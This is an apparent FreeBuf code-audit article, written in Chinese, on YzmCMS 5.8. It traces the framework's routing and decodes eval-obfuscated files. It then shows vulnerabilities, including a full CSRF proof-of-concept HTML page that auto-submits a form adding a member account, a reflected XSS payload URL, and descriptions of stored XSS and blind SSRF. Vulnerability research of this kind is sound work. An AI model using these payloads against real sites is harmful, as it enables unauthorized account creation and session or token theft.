freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

通读审计之YzmCMS
2020-09-07 11:48:21

0x00 前言

YzmCMS笔者读起来感觉安全性非常不错,但仔细观察观察多多少少存在一些漏洞。

在八月底笔者对该CMS的5.7版本进行了代码审计,打算在9月7号以文章的形式将一些漏洞问题整理出来,但昨日9月6号YzmCMS整个系统版本进行了更新,笔者这里很苦逼的将安全问题又重新看了一下,新版本并不影响漏洞执行。

源码下载渠道(YzmCMS 5.8版本) : 官网下载

我们依旧老样子,从框架运行原理,到漏洞挖掘。

0x01 MVC的了解

老样子,我们先看看index.php中是怎么玩的。

我们在通读天目MVC时,所提到过,define所定义的常量我们不需要每个都认真的记忆下来,而是通过php的get_defined_constant函数将常量全部提取出来,这样我们审计时,看到define直接置之不理,以免影响我们审计的心态。

这里就不多废话了,我们看到21行进行了require包含操作,我们看一下。

实际上是包含了./yzmphp/yzmphp.php文件,我们跟进

在33行之前的1-31行都是define,我们直接置之不理到33行,而33行很懵逼的给我们调用了yzm_base类下的load_sys_func静态方法,yzm_base类是哪来的?我们不慌,我们简单翻一翻该文件。

我们可以看到该文件的第75行定义了yzm_base类,我们找一下它下面的load_sys_func静态方法。

只是进行了文件包含操作,审计到这里笔者分享一下笔者的做法。

  1. 使用NodePad++的断点功能,做出php文件之前审计的位置
  2. 跟进包含进来的global文件,当我们阅读完毕global文件后,再回来之前的断点继续往下通读

这里笔者大致的看了一下global.func.php文件,只是定义了一些方法而已。

我们回来yzmphp.php文件,将断点取消,继续往下通读。

在48-54行中,只是用来获取当前的文件名。63-66行中,用来检测是否开启了GPC,开启则定义MAGIC_QUOTES_GPC常量为true,否则为false。

在70-72行依次调用了yzm_base类下的load_common方法,我们看一下load_common方法是如何定义的。

这里也是进行文件包含操作。因为在70-72行中调用load_common静态方法时只传递了一个参数,所以这里我们进入到141-146分支。70-72行的一系列操作只是包含 “./common/function/system.func.php”,“./common/function/extention.func.php”以及“./common/data/version.php”。

我们依次看一下他们是来干嘛的。

可以看到version.php文件只是定义了常量,extention.func.php文件什么也没做,system.func.php文件定义了一些方法。我们回到yzmphp.php文件继续往下通读。

在75行定义完毕yzm_base类后没有了任何操作,这时我们回到index.php,看一下index.php文件的最后一行。

Index.php文件最后一行调用了yzm_base类的creat_app方法,我们回到yzmphp.php的yzm_base类中找一下create_app方法是怎么玩的。

将application传入到load_sys_class静态方法中,随后再将application传入到_load_class静态方法,并且$initialize形式参数的值为1,我们看一下_load_class静态方法是怎么玩的。

因为我们传递过来时,$path形式参数为空,所以会进入到104行的if分支

这时候定义$path形式参数为 $path = YZMPHP_PATH.'yzmphp'.DIRECTORY_SEPARATOR.'core'.DIRECTORY_SEPARATOR.'class';

也就是“程序路径/yzmphp/core/class”目录,在115行进行包含/yzmphp/core/class/application.class.php,而之前传入进来的$initialize为1,所以会进入到117行,这里会实例化application类并放到$classes的静态变量中,121行将实例化的application返回了。

这里我们跟进 /yzmphp/core/class/application.class.php。

因为在之前的$initialize为1时,会实例化application类,所以会自然而然的调用application类下的__construct构造方法。在__construct构造方法中,第16-19行是用来定义debug的。

这里我们目光转移到20行,调用load_sys_class方法,传入param参数。

在我们之前通读时,有读到load_sys_class静态方法,所以这里我们不再第二次读取。第20行会包含 /yzmphp/core/class/param.class.php,我们在application.class.php断点20行并跟进/yzmphp/core/class/param.class.php文件。

打开param.class.php文件看一下。

第15行调用了C方法,在我们之前包含进来的global.func.php以及system.func.php文件中,都是封装了一系列方法,C方法的调用也就来自于他们。

在global.func.php文件中发现了C方法的定义,这里看到954行定义了一个$path变量,它的值是 “程序路径/common/config/config.php”文件,随后在956行进行了包含操作,我们跟进config.php文件,看一下是怎么玩的。

直接将配置信息返回了。

这里我们回到param.class.php文件继续往下通读。

看代码意义上来说,第16行是定义默认路由。

这里我们将目光放到第17-20行中。

第18行的C方法返回false,不会进入到该分支,我们看到第19行调用了pathinfo_url成员方法。我们跟进。

Pathinfo_url成员方法只是来进行网站伪静态操作的,同时增加了一个$_GET[‘s’]路由指定方法。

Param.class.php文件读取完毕,我们回到application.class.php文件中继续通读。

看到了第21-23行分别调用了param对象下的ruote_m(module)、ruote_c(controller)、ruote_a(action),我们再次回到param.class.php文件中看一下是如何定义的。

可以看到获取了$_GET[‘m’]、$_GET[‘c’]、$_GET[‘a’],但是在30行、44行、58行都调用了safe_deal方法,我们看一下该方法做了一些什么操作。

将$_GET[‘m’]、$_GET[‘c’]、$_GET[‘a’]都进行了addslashes函数过滤。

现在我们知道这些参数的获取了,我们回到application.class.php文件中继续通读。

在24行中调用了init方法,而在init方法的第32行中又调用了load_controller方法,我们跟进一下。

我们可以看到第59行中定义了文件路径和文件名,实际上是来包含 “application/$_GET[m]/controller/$_GET[c].class.php”

随后在实例化包含进来的类。

我们load_controller方法阅读完毕,随后我们回到init方法,再往下通读。

使用call_user_func方法,来调用$_GET[a]方法。

到这里,我们脑袋里面应该有个框架整体思维。

一:http://www.XXX.com/模块名/控制器/方法 所对应的文件路径为 ./application/模块名/controller/控制器.php  所对应的方法则是传递过来的方法。

二:http://www.XXX.com/?s=模块名/控制器名/方法名 所对应的文件路径为 ./application/模块名/controller/控制器.php  所对应的方法则是传递过来的方法。

三:http://www.XXX.com/?m=模块名&c=控制器名&a=方法名所对应的文件路径为 ./application/模块名/controller/控制器.php  所对应的方法则是传递过来的方法

下面我们在application/admin/controller文件夹下创建我们自己的控制器,来看是否可以正常访问到我们定义的自定义方法。

<?php

class heihu{

public function hi(){

echo ‘helloWorld’;

}

}

我们整个框架思路清晰开始挖掘漏洞。

0x02 加密的文件

我们当然不希望我们审计过程中遇到一些文件被加密,这种加密影响我们进行漏洞挖掘。这里笔者先把丑话放在前面 : 请勿修改他人版权!!!

在./application/admin/index.class.php文件中。我们可以看到加密的信息。

我们先不慌,翻到最底部我们可以看到eval关键字。

因为eval中的内容被当作代码执行处理,所以我们这里echo一下eval函数中的内容。

可以看到程序做了二次加密,这个时候我们将echo出来的内容复制粘贴到程序内部中。并且删除echo那句话。

我们再次翻到最底部

我们再将eval关键字变为echo,并且加上exit(防止程序出现意外错误)。

使用burp发包

可以看到源码成功显示过来,我们把它复制粘贴到程序中,看是否可以正常运行。

成功运行程序。

0x03 做过滤的框架

我们在之前了解框架时,该CMS仅仅对$_GET[m]、$_GET[c]、$_GET[a]进行了addslashes过滤,难道就没有其他过滤了吗?

我们随便打开admin模块中的任何控制器看一下SQL语句的发送。

这是\application\admin\controller\admin_content.class.php文件下的第16行,调用了D方法。

而在第17行调用了total方法,我们先看一下D方法是如何定义的。

这里调用了load_sys_class方法,也就是包含\yzmphp\core\class\db_factory.class.php文件。随后在875通过get_instance方法返回对象后再调用connect方法。

我们跟进看一下。

因为我们安装时,程序默认选择的PDO扩展,所以这里应该进入到37-40行的分支,这里再次调用了load_sys_class方法,包含\yzmphp\core\class\db_pdo.class.php文件,我们打开看一下。

看到定义db_pdo类后我们回到\yzmphp\core\class\db_factory.class.php文件

可以看到进行了实例化操作,并且将一些配置信息与类名传入。

我们回到\yzmphp\core\class\db_pdo.class.php文件继续观察。

__construct魔术方法进行一些初始化操作,来给成员变量赋值,而connect方法就是用来连接PDO。

我们现在定位到total方法,看一下是怎么玩的。

我们远看,就是正常的SQL语句发送啊,有什么问题么?

我们先跟进execute方法。

可以看到使用了预处理技术,下边笔者就没有去挖掘SQL注入的漏洞了。

0x04 被绕过的CSRF

在application\admin\controller\common.class.php文件中,我们看一下__construct魔术方法。

调用了check_referer魔术方法,我们跟进。

可以看到,判断了HTTP_REFERER,但是如果HTTP_REFERER不存在,则不会进入到该分支。

在构造POC的html中,我们只需要加一句meta标签即可将发出去的请求不会携带REFERER。

<meta name="referrer" content="never">

笔者当然测试想从“添加管理员”处下手,但是无奈“添加管理员”处专门增加了token验证,所以笔者这里编写“添加会员”来进行测试。

POC脚本:

<!DOCTYPE html>

<html lang="en">

<head>

<meta charset="UTF-8">

<meta name="viewport" content="width=device-width, initial-scale=1.0">

<meta name="referrer" content="never">

<title>Document</title>

</head>

<body>

<form action="http://yzmphp.cn/member/member/add.html" method="post">

<input type="hidden" name="username" value="hacker">

<input type="hidden" name="password" value="hacker">

<input type="hidden" name="nickname" value="hacker">

<input type="hidden" name="email" value="hacker@hacker.com">

<input type="hidden" name="groupid" value="1">

<input type="hidden" name="point" value="0">

<input type="hidden" name="overduedate" value="">

<input type="hidden" name="dosubmit" value="1">

</form>

<script>

let oForm = document.querySelector('form');

oForm.submit();

</script>

</body>

</html>

测试案例:

0x05 多处反射型XSS

反射型的XSS一般都在前台模板中,笔者在application\member\view\member_list.html文件中,发现一处没有经过任何过滤而输出到前端的点。

构造Payload:

http://xxx.cn/member/member/init.html?start=11%22%3E%3Cscript%3Ealert(1)%3C/script%3E

这样的反射型XSS可以获取token信息。

同时我们可以在notePad++的全局搜索的功能中进行搜索:“if(isset($_GET[”

来查找是否还有类似漏洞点。

其他更多的反射型XSS点在文章中就不再提起了。

0x06 多处存储型XSS

通常的存储型XSS其实也大部分存在后台的数据库insert操作。

笔者在application\collection\controller\collection_content.class.php中的add方法中,发现一处未经过任何过滤而导致的存储型XSS。

这里我们进行测试。

提交后单击测试采集:

成功触发。

这里我们可以通过搜索关键字:“->insert($_POST)”来挖掘类似该点的存储型XSS漏洞。

当然前提是入库前未过滤的情况下。

0x07 无回显的SSRF

还是在application\collection\controller\collection_content.class.php中的collection_test方法

从数据库中查询出内容后直接调用collection类下的get_content方法,collection类可以从application\collection\controller\collection_content.class.php文件的起始行看到有加载。

这里我们跟进\yzmphp\core\class\collection.class.php文件。

可以看到没有经过任何过滤直接调用curl一系列方法。

我们进入application\collection\controller\collection_content.class.php中的add方法中

在网址配置中填入dnslog来接收。

# 代码审计
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者